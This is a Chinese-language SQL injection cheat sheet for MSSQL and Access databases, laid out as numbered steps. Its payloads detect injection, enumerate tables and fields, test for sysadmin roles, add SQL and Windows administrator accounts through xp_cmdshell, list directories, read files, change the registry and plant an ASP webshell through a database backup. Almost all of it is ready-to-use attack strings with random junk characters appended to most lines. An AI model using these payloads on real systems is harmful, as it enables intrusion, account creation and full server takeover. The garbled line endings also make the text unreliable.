1.判断是否有注入;and 1=1 ;and 1=2 bE _8NA"2
2.初步判断是否是mssql ;and user>0 Y,}_LS$f
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3.注入参数是字符'and [查询条件] and ''=' Al-`}g+^
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ==dKC;
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5.判断数据库系统 Y MX9Z||
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;and (select count(*) from sysobjects)>0 mssql RuPnWx!
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;and (select count(*) from msysobjects)>0 access HuevDy4
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 BX >L7 n
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 \vA*dQ-
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 }| DspO
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9.(1)猜字段的ascii值(access) !"L.g u-'
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 oW3"J6,S
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(2)猜字段的ascii值(mssql) $h#sb4ek
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ETp?R WXX
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10.测试权限结构(mssql) IzP,)!EE
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 1MN!
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- U+Y(:
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- -YA,Stc-
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- -vvyG
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- nKx)R^]k
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- [9; @1I<x
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;and 1=(select IS_MEMBER('db_owner'));-- ]\(8d[4
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11.添加mssql和系统的帐户 ,Bk5(e
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;exec master.dbo.sp_addlogin username;-- XNz+a|cF
;exec master.dbo.sp_password null,username,password;-- "aJHCi~l
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 6D;N.wDZ
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;exec master.dbo.xp_cmdshell 'net user username password MGg(d
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 8x{Owj:Q
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Kj4/fB
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12.(1)遍历目录 lTx_E#^s
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;create table dirs(paths varchar(100), id int) ^6s im 2
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Itl8#LpLM
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;and (select top 1 paths from dirs)>0 f"MID6
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) @Cj!MZ=T
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(2)遍历目录 o4Q?K.9c
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- \nl(tU#j
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 SI7rTJ]/
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 78&|^sq
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 U&^q#['
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 0m@+ &X>w
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13.mssql中的存储过程 vW+6_41ZM
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xp_regenumvalues 注册表根键, 子键 ({uW-%
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 NRRJlY
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xp_regread 根键,子键,键值名 s(,S~
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 [|]J8o@u^
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xp_regwrite 根键,子键, 值名, 值类型, 值 5!c/J:z
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 1T^WMn:U
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 9CDei~
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xp_regdeletevalue 根键,子键,值名 0z8(9DlTc
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 8lyIL^
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 w\buQ6pR)
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14.mssql的backup创建webshell J
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use model .D*Qu}
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create table cmd(str image); qt8Y3:=8l
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insert into cmd(str) values (''); MAa9JA8kw)
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backup database model to disk='c:\l.asp'; +=tdgw/
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15.mssql内置函数 fc#9e9R
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;and (select @@version)>0 获得Windows的版本号 x9lA';})
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa .$U,bE
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;and (select user_name())>0 爆当前系统的连接用户 H%_^Gy8f
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;and (select db_name())>0 得到当前连接的数据库 8hGyh#
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16.简洁的webshell z'L0YqXG/
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use model w{ja*F6
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create table cmd(str image); g/GI'8EMj
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insert into cmd(str) values (''); } z'Jsy[s
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backup database model to disk='g:\wwwtest\l.asp';